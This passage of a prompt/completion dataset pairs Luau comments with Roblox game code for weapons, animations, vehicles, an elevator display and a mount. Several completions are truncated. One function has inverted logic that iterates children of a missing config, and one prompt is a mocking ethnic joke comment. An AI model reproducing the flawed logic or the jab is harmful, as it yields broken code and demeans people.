ERR_OBJECT_DISPOSED)\n\tself:SetAcceleration(self:GetAcceleration() + acceleration)\nend\n\nfunction ActiveCastStatic:AddPosition(position: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"AddPosition\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself:SetPosition(self:GetPosition() + position)\nend\n\nfunction ActiveCastStatic:DbgVisualizeSegment(castStartCFrame: CFrame, castLength: number): ConeHandleAdornment?\n\treturn DbgVisualizeSegment(castStartCFrame, castLength)\nend\n\nfunction ActiveCastStatic:DbgVisualizeHit(atCF: CFrame, wasPenetrated: boolean): SphereHandleAdornment?\n\treturn DbgVisualizeHit(atCF, wasPenetrated)\nend\n"} +{"prompt": "-- This function is used to set configuration values from outside configuration objects/folders", "completion": "\nfunction BaseWeapon:importConfiguration(config)\n\tif not config or not config:IsA(\"Configuration\") then\n\t\tfor _, child in pairs(config:GetChildren()) do\n\t\t\tif child:IsA(\"ValueBase\") then\n\t\t\t\tlocal valueName = child.Name\n\t\t\t\tlocal newValue = child.Value\n\t\t\t\tlocal oldValue = self.configValues[valueName]\n\t\t\t\tself.configValues[valueName] = newValue\n\t\t\t\tself:onConfigValueChanged(valueName, newValue, oldValue)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction BaseWeapon:setConfiguration(config)\n\tself:cleanupConnection(\"configChildAdded\", \"configChildRemoved\")\n\tif not config or not config:IsA(\"Configuration\") then\n\t\treturn\n\tend\n\n\tfor _, child in pairs(config:GetChildren()) do\n\t\tif child:IsA(\"ValueBase\") then\n\t\t\tself:onConfigValueAdded(child)\n\t\tend\n\tend\n\tself.connections.configChildAdded = config.ChildAdded:Connect(function(child)\n\t\tif child:IsA(\"ValueBase\") then\n\t\t\tself:onConfigValueAdded(child)\n\t\tend\n\tend)\n\tself.connections.configChildRemoved = config.ChildRemoved:Connect(function(child)\n\t\tif child:IsA(\"ValueBase\") then\n\t\t\tself:onConfigValueRemoved(child)\n\t\tend\n\tend)\nend\n\nfunction BaseWeapon:onChildAdded(child)\n\tif child:IsA(\"Configuration\") then\n\t\tself:setConfiguration(child)\n\tend\nend\n\nfunction BaseWeapon:onChildRemoved(child)\n\tif child:IsA(\"Configuration\") then\n\t\tself:setConfiguration(nil)\n\tend\nend\n\nfunction BaseWeapon:onConfigValueChanged(valueName, newValue, oldValue)\n\nend\n\nfunction BaseWeapon:onRenderStepped(dt)\n\nend\n\nfunction BaseWeapon:onStepped(dt)\n\nend\n\nfunction BaseWeapon:getAnimationController()\n\tif self.animController then\n\t\tif not self.instanceIsTool or (self.animController.Parent and self.animController.Parent:IsAncestorOf(self.instance)) then\n\t\t\treturn self.animController\n\t\tend\n\tend\n\n\tself:setAnimationController(nil)\n\n\tif self.instanceIsTool then\n\t\tlocal humanoid = IsServer and self.instance.Parent:FindFirstChildOfClass(\"Humanoid\") or self.instance.Parent:WaitForChild(\"Humanoid\", math.huge)\n\t\tlocal animController = nil\n\t\tif not humanoid then\n\t\t\tanimController = self.instance.Parent:FindFirstChildOfClass(\"AnimationController\")\n\t\tend\n\n\t\tself:setAnimationController(humanoid or animController)\n\t\treturn self.animController\n\tend\nend\n\nfunction BaseWeapon:setAnimationController(animController)\n\tif animController == self.animController then\n\t\treturn\n\tend\n\tself:stopAnimations()\n\tself.animController = animController\nend\n\nfunction BaseWeapon:stopAnimations()\n\tfor _, track in pairs(self.animTracks) do\n\t\tif track.IsPlaying then\n\t\t\ttrack:Stop()\n\t\tend\n\tend\n\tself.animTracks = {}\nend\n\nfunction BaseWeapon:getAnimTrack(key)\n\tlocal track = self.animTracks[key]\n\tif not track then\n\t\tlocal animController = self:getAnimationController()\n\t\tif not animController then\n\t\t\twarn(\"No animation controller when trying to play \", key)\n\t\t\treturn nil\n\t\tend\n\n\t\tlocal animation = AnimationsFolder:FindFirstChild(key)\n\t\tif not animation then\n\t\t\terror(string.format(\"No such animation \\\"%s\\\" \", tostring(key)))\n\t\tend\n\n\t\ttrack = animController:LoadAnimation(animation)\n\t\tself.animTracks[key] = track\n\tend\n\n\treturn track\nend\n\nfunction BaseWeapon:reload(player, fromNetwork)\n\tif\n\t\tnot self.equipped or\n\t\tself.reloading or\n\t\tnot self.canReload or\n\t\tself:getAmmoInWeapon() == self:getConfigValue(\"AmmoCapacity\", 30)\n\tthen\n\t\treturn false\n\tend\n\n\tif not IsServer then\n\t\tif self.player ~= nil and self.player ~= Players.LocalPlayer then\n\t\t\treturn\n\t\tend\n\t\tself.weaponsSystem.getRemoteEvent(\"WeaponReloadRequest\"):FireServer(self.instance)\n\t\tself:onReloaded(self.player)\n\telse\n\t\tself:onReloaded(player, fromNetwork)\n\t\tself.weaponsSystem.getRemoteEvent(\"WeaponReloaded\"):FireAllClients(player, self.instance)\n\tend\nend\n\nfunction BaseWeapon:onReloaded(player, fromNetwork)\n\tif fromNetwork and player == Players.LocalPlayer then -- make sure localplayer doesn't reload twice\n\t\treturn\n\tend\n\n\tself.reloading = true\n\tself.canReload = false\n\n\t-- Play reload animation and sound\n\tif not IsServer then\n\t\tlocal reloadTrackKey = self:getConfigValue(\"ReloadAnimation\", \"RifleReload\")\n\t\tif reloadTrackKey then\n\t\t\tself.reloadTrack = self:getAnimTrack(reloadTrackKey)\n\t\t\tif self.reloadTrack then\n\t\t\t\tself.reloadTrack:Play()\n\t\t\tend\n\t\tend\n\n\t\tself.curReloadSound = self:tryPlaySound(\"Reload\", nil)\n\t\tif self.curReloadSound then\n\t\t\tself.curReloadSound.Ended:Connect(function()\n\t\t\t\tself.curReloadSound = nil\n\t\t\tend)\n\t\tend\n\tend\n\n\tlocal reloadTime = self:getConfigValue(\"ReloadTime\", 2)\n\tlocal startTime = tick()\n\n\tif self.connections.reload ~= nil then -- this prevents an endless ammo bug\n\t\treturn\n\tend\n\tself.connections.reload = RunService.Heartbeat:Connect(function()\n\t\t-- Stop trying to reload if the player unequipped this weapon or reloading was canceled some other way\n\t\tif not self.reloading then\n\t\t\tif self.connections.reload then\n\t\t\t\tself.connections.reload:Disconnect()\n\t\t\t\tself.connections.reload = nil\n\t\t\tend\n\t\tend\n\n\t\t-- Wait until gun finishes reloading\n\t\tif tick() < startTime + reloadTime then\n\t\t\treturn\n\t\tend\n\n\t\t-- Add ammo to weapon\n\t\tif self.ammoInWeaponValue then\n\t\t\tself.ammoInWeaponValue.Value = self:getConfigValue(\"AmmoCapacity\", 30)\n\t\tend\n\n\t\tif self.connections.reload then\n\t\t\tself.connections.reload:Disconnect()\n\t\t\tself.connections.reload = nil\n\t\tend\n\n\t\tself.reloading = false\n\t\tself.canReload = false\n\tend)\nend\n\nfunction BaseWeapon:cancelReload(player, fromNetwork)\n\tif not self.reloading then\n\t\treturn\n\tend\n\tif fromNetwork and player == Players.LocalPlayer then\n\t\treturn\n\tend\n\n\tif not IsServer and not fromNetwork and player == Players.LocalPlayer then\n\t\tself.weaponsSystem.getRemoteEvent(\"WeaponReloadCanceled\"):FireServer(self.instance)\n\telseif IsServer and fromNetwork then\n\t\tself.weaponsSystem.getRemoteEvent(\"WeaponReloadCanceled\"):FireAllClients(player, self.instance)\n\tend\n\n\tself.reloading = false\n\tself.canReload = true\n\n\tif not IsServer and self.reloadTrack and self.reloadTrack.IsPlaying then\n\t\twarn(\"Stopping reloadTrack\")\n\t\tself.reloadTrack:Stop()\n\tend\n\tif self.curReloadSound then\n\t\tself.curReloadSound:Stop()\n\t\tself.curReloadSound:Destroy()\n\t\tself.curReloadSound = nil\n\tend\nend\n\nfunction BaseWeapon:getAmmoInWeapon()\n\tif self.ammoInWeaponValue then\n\t\treturn self.ammoInWeaponValue.Value\n\tend\n\treturn 0\nend\n\nfunction BaseWeapon:useAmmo(amount)\n\tif self.ammoInWeaponValue then\n\t\tlocal ammoUsed = math.min(amount, self.ammoInWeaponValue.Value)\n\t\tself.ammoInWeaponValue.Value = self.ammoInWeaponValue.Value - ammoUsed\n\t\tself.canReload = true\n\t\treturn ammoUsed\n\telse\n\t\treturn 0\n\tend\nend\n\nfunction BaseWeapon:renderCharge()\n\nend\n\nreturn BaseWeapon\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid)\n\tif (animName ~= currentAnim) then\t\t \n\t\t\n\t\tif (oldAnimTrack ~= nil) then\n\t\t\toldAnimTrack:Stop()\n\t\t\toldAnimTrack:Destroy()\n\t\tend\n\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "-- A table that defines an instance's properties, handlers and children.", "completion": "\nexport type PropertyTable = {[string | SpecialKey]: any}\n\nreturn nil\n"} +{"prompt": "-- bools used to check if gui is showing", "completion": "\nlocal welcomeMenuIsShowing = false\n"} +{"prompt": "--[[\n\tINPUT: Object character\n\tOUTPUT: Humanoid humanoid\n--]]", "completion": "\n\nreturn function(obj)\n\tif obj then\n\t\tfor i, child in next, obj:GetChildren() do\n\t\t\tif child:IsA'Humanoid' then\n\t\t\t\treturn child\n\t\t\tend\n\t\tend\n\telse\n\t\treturn nil\n\tend\nend\n"} +{"prompt": "--\t\t\t\t\t\t\t\t\tprint(\"Distance from \"..character.Name..\" = \"..distance)", "completion": "\n\t\t\t\t\t\t\t\t\tif distance <= 2*radius then\n\t\t\t\t\t\t\t\t\t\ttorso.Velocity = (torso.Position - position).unit * 100;\n\t\t\t\t\t\t\t\t\t\thuman:takeDamage(100-(distance-radius)*(100/radius))\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t-- If player died"} +{"prompt": "-- Public Functions", "completion": "\nfunction WaypointController:TrackPlayer()\n\tif self.isPlayerMoving == false then\n\t\tself.isPlayerMoving = true\n\t\tself.waypointPath:MoveTo()\n\t\t"} +{"prompt": "---Place this INSIDE the model. Don't replace the model name or anything.\n------------------------------------------------------------------------------------------ ", "completion": "\nobject = script.Parent \nif (object ~= nil) and (object ~= game.Workspace) then \nmodel = object \n\nbackup = model:clone() -- Make the backup \nwaitTime = 65 --Time to wait between regenerations \nwait(math.random(0, waitTime)) \nwhile true do \nwait(waitTime) -- Regen wait time \n\nmodel:remove() \n\nwait(2.5) -- Display regen message for this amount of time \n\nmodel = backup:clone() \nmodel.Parent = game.Workspace \nmodel:makeJoints() \nmessage.Parent = nil \nend \nend "} +{"prompt": "----------------------------------------\n-- TEMP: Implicit run should possibly be removed and done elsewhere as appropriate.", "completion": "\nStageManager.run()"} +{"prompt": "--[[**\n\tensures value is a table and all keys pass valueCheck and all values are true\n\n\t@param valueCheck The function to use to check the values\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.set(valueCheck)\n\treturn t.map(valueCheck, t.literal(true))\nend\n\ndo\n\tlocal arrayKeysCheck = t.keys(t.integer)"} +{"prompt": "--ASIAN REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE", "completion": "\n\nfunction weldlol()\n\tlocal counts = {}\n\tlocal function scan(parent, topart)\n\t\tfor _,v in pairs(parent:GetDescendants()) do\n\t\t\tif (v:IsA(\"BasePart\")) then\n\t\t\t\tlocal weld = Instance.new(\"WeldConstraint\")\n\t\t\t\tweld.Parent = v\n\t\t\t\tweld.Part0 = topart\n\t\t\t\tweld.Part1 = v\n\t\t\t\tv.Anchored = false\n\t\t\t\ttable.insert(counts,v)\n\t\t\tend\n\t\t\tscan(v)\n\t\tend\n\tend\n\tscan(script.Parent.LightsPart, script.Parent.HPart)\n\tscan(script.Parent.LightsPart2, script.Parent.HPart2)\n\tfor _,v in pairs(counts) do\n\tend\nend\n\nweldlol()\n"} +{"prompt": "-- Setup animation objects", "completion": "\nfunction scriptChildModified(child)\n\tlocal fileList = animNames[child.Name]\n\tif (fileList ~= nil) then\n\t\tconfigureAnimationSet(child.Name, fileList)\n\tend\t\nend\n\nscript.ChildAdded:connect(scriptChildModified)\nscript.ChildRemoved:connect(scriptChildModified)\n\n\nfor name, fileList in pairs(animNames) do \n\tconfigureAnimationSet(name, fileList)\nend\t\n"} +{"prompt": "--\t\tprint(animName .. \" * \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\ttoolAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\ttoolAnimTrack:Play(transitionTime)\n\t\ttoolAnimName = animName\n\n\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\n\treturn oldAnim\nend\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= .1\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= true\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\t"} +{"prompt": "--- Initialize required modules", "completion": "\nlocal CollectionService: CollectionService = game:GetService(\"CollectionService\")\nlocal HitboxData = require(script.HitboxCaster)\nlocal Signal = require(script.Signal)\n\nlocal RaycastHitbox = {}\nRaycastHitbox.__index = RaycastHitbox\nRaycastHitbox.__type = \"RaycastHitboxModule\"\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 2000; -- Bullet Speed\n\tBulletSpread = 0; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeaveWarmup(stateMachine, event, from, to)\n\tServerWarmup.leave(stateMachine)\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 300\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--script.Parent.Parent.CameraMode=\"LockFirstPerson\" --first person", "completion": "\nlocal head = game.Workspace:findFirstChild(person.Name):findFirstChild(\"Head\")\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nArwTime = 0.2\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,101 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Color = (l:sub(r,r) == \"1\" and enabledClr or disabledClr)\n\t\t\tend\n\t\tend\n\tend\nend\n\nwhile wait() do\n if Lift:WaitForChild(\"MotorMode\").Value ~= \"idle\" then\n\t if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown1\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown2\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown3\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown1\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown2\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown1\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown3\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown2\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown3\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t\t\twait(ArwTime)\n\t\telse\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t end\n\telse\n\t if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.U1.Color = arwFadingUp1\n\t\t\tThis.Display.ARW1.U2.Color = arwFadingUp2\n\t\t\tThis.Display.ARW1.U3.Color = arwFadingUp3\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = arwFadingDown1\n\t\t\tThis.Display.ARW1.D2.Color = arwFadingDown2\n\t\t\tThis.Display.ARW1.D3.Color = arwFadingDown3\n\t\telse\n\t\t\tThis.Display.ARW1.U1.Color = disabledClr\n\t\t\tThis.Display.ARW1.U2.Color = disabledClr\n\t\t\tThis.Display.ARW1.U3.Color = disabledClr\n\t\t\tThis.Display.ARW1.D1.Color = disabledClr\n\t\t\tThis.Display.ARW1.D2.Color = disabledClr\n\t\t\tThis.Display.ARW1.D3.Color = disabledClr\n\t end\n\tend\n\n\tif Lift:WaitForChild(\"Mode\").Value ~= \"auto\" then\n\t\tThis.Legends.OOS.Color = oosClr\n\telse\n\t\tThis.Legends.OOS.Color = disabledClr\n\tend\n\n\tif Lift.Car.Sensor:FindFirstChild(\"Script\") then\n\t\tif Lift.Car.Sensor.Script.IsOverload.Value == true then\n\t\t\tThis.Legends.OL.Color = overloadClr\n\t\telse\n\t\t\tThis.Legends.OL.Color = disabledClr\n\t\tend\n\tend\n\n\tif Lift.Car.Platform:FindFirstChild(\"Alarm\") then\n\t\tif Lift.Car.Platform.Alarm.Playing == true then\n\t\t\tThis.Legends.AL.Color = alarmClr\n\t\telse\n\t\t\tThis.Legends.AL.Color = disabledClr\n\t\tend\n\tend\nend\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nModel = script.Parent\n\nPlayers = game:GetService(\"Players\")\nDebris = game:GetService(\"Debris\")\nRunService = game:GetService(\"RunService\")\n\nRbxUtility = require(game.ReplicatedStorage.LoadLibrary.RbxUtility)\nCreate = RbxUtility.Create\n\nFunctions = require(script:WaitForChild(\"Functions\"))\n\nBasePart = Create(\"Part\"){\n\tShape = Enum.PartType.Block,\n\tMaterial = Enum.Material.Plastic,\n\tFormFactor = Enum.FormFactor.Custom,\n\tTopSurface = Enum.SurfaceType.Smooth,\n\tBottomSurface = Enum.SurfaceType.Smooth,\n\tSize = Vector3.new(0.2, 0.2, 0.2),\n\tLocked = true,\n\tCanCollide = true,\n\tAnchored = false,\n}\n\nHumanoid = Model:WaitForChild(\"Humanoid\")\nHumanoid.Health = Humanoid.MaxHealth\nHumanoid.AutoRotate = false\nSeat = Model:WaitForChild(\"Seat\")\nHead = Model:WaitForChild(\"Head\")\nTorso = Model:WaitForChild(\"Torso\")\n\nInteractiveControl = script:WaitForChild(\"InteractiveControl\")\n\nAnimations = {\n\tRide = {Animation = Model:WaitForChild(\"Ride\"), FadeTime = 0, Weight = nil, Speed = nil},\n}\n\nRider = nil\n\nDefaultSpeed = 40\nGravity = 196.20\n\nHumanoid.WalkSpeed = DefaultSpeed\n\nfor i, v in pairs(Torso:GetChildren()) do\n\tif string.find(string.lower(v.ClassName), string.lower(\"Body\")) then\n\t\tv:Destroy()\n\tend\nend\n\nGyro = Create(\"BodyGyro\"){\n\tName = \"BodyGyro\",\n\tD = 100,\n\tP = 10000,\n\tmaxTorque = Vector3.new(math.huge, 0, math.huge),\n\tcframe = Torso.CFrame,\n\tParent = Torso,\n}\n\nVelocity = Create(\"BodyVelocity\"){\n\tName = \"BodyVelocity\",\n\tmaxForce = Vector3.new(math.huge, 0, math.huge),\n\tvelocity = Vector3.new(0, 0, 0),\n\tParent = Torso,\n}\n\nBodyAngularVelocity = Create(\"BodyAngularVelocity\"){\n\tName = \"BodyAngularVelocity\",\n\tmaxTorque = Vector3.new(0, math.huge, 0),\n\tangularvelocity = Vector3.new(0, 0, 0),\n\tParent = Torso,\n}\n\nRemotes = script:WaitForChild(\"Remotes\")\nRemotes:ClearAllChildren()\n\nLastJump = 0\nJumpCoolDown = 2\nLastLaserFire = 0\nLaserCoolDown = 2\nMaxLaserDistance = 120\nDisabled = false\n\nServerControl = (Remotes:FindFirstChild(\"ServerControl\") or Create(\"RemoteFunction\"){\n\tName = \"ServerControl\",\n\tParent = Remotes,\n})\n\nClientControl = (Remotes:FindFirstChild(\"ClientControl\") or Create(\"RemoteFunction\"){\n\tName = \"ClientControl\",\n\tParent = Remotes,\n})\n\nfunction OnServerInvoke(player, Mode, Value)\n\tif player ~= Rider or not Mode or Disabled then\n\t\treturn\n\tend\n\tif Mode == \"Jump\" then\n\t\tlocal Now = tick()\n\t\tlocal State = Humanoid:GetState().Name\n\t\tif (Now - LastJump) >= JumpCoolDown and State ~= \"Freefall\" then\n\t\t\tLastJump = Now\n\t\t\tHumanoid.Jump = true\n\t\t\twait(JumpCoolDown)\n\t\t\tHumanoid.Jump = false\n\t\tend\n\telseif Mode == \"Dismount\" then\n\t\tDismount()\n\telseif Mode == \"Sprint\" then\n\t\tlocal Down = Value.Down\n\t\tHumanoid.WalkSpeed = (Down and 70 or DefaultSpeed)\n\tend\nend\n\nServerControl.OnServerInvoke = OnServerInvoke\n\nHumanoid.Changed:connect(function(Property)\n\tif Property == \"Sit\" and Humanoid.Sit then\n\t\tHumanoid.Sit = false\n\tend\nend)\n\nHumanoid.Died:connect(function()\n\tDisabled = true\n\tDebris:AddItem(Model, 3)\n\tModel:BreakJoints()\nend)\n\nfunction InvokeClient(Mode, Value)\n\tlocal ClientReturn = nil\n\tpcall(function()\n\t\tClientReturn = ClientControl:InvokeClient(Rider, Mode, Value)\n\tend)\n\treturn ClientReturn\nend\n\nfunction Animate(Time)\n\tlocal Occupant = Seat.Occupant\n\tif not Occupant or not Occupant.Parent or not Occupant:IsA(\"Humanoid\") then\n\t\treturn\n\tend\n\tlocal character = Occupant.Parent\n\tlocal player = Players:GetPlayerFromCharacter(character)\n\tif not player or Rider ~= player then\n\t\treturn\n\tend\n\tif Humanoid.Health == 0 or Disabled then\n\t\treturn\n\tend\n\t--Motion\n\tlocal velocity = (Torso.CFrame.lookVector * Seat.Throttle * Humanoid.WalkSpeed)\n\tVelocity.velocity = Vector3.new(velocity.X, 0, velocity.Z)\n\tVelocity.maxForce = Vector3.new(math.huge, 0, math.huge)\n\tBodyAngularVelocity.angularvelocity = Vector3.new(0, (0.95 * -Seat.Steer), 0)\nend\n\nfunction Dismount()\n\tif Rider and Rider.Parent then\n\t\tlocal Character = Rider.Character\n\t\tif Character then\n\t\t\tlocal humanoid = nil\n\t\t\tfor i, v in pairs(Character:GetChildren()) do\n\t\t\t\tif v:IsA(\"Humanoid\") then\n\t\t\t\t\thumanoid = v\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\thumanoid:ChangeState(Enum.HumanoidStateType.Jumping)\n\t\t\thumanoid.Jump = true\n\t\tend\n\tend\nend\n\nfunction PlayerSeated(Child)\n\tlocal function BreakWeld()\n\t\tDebris:AddItem(Child, 0.5)\n\t\tif Child and Child.Parent then\n\t\t\tChild:Destroy()\n\t\tend\n\tend\n\tif not 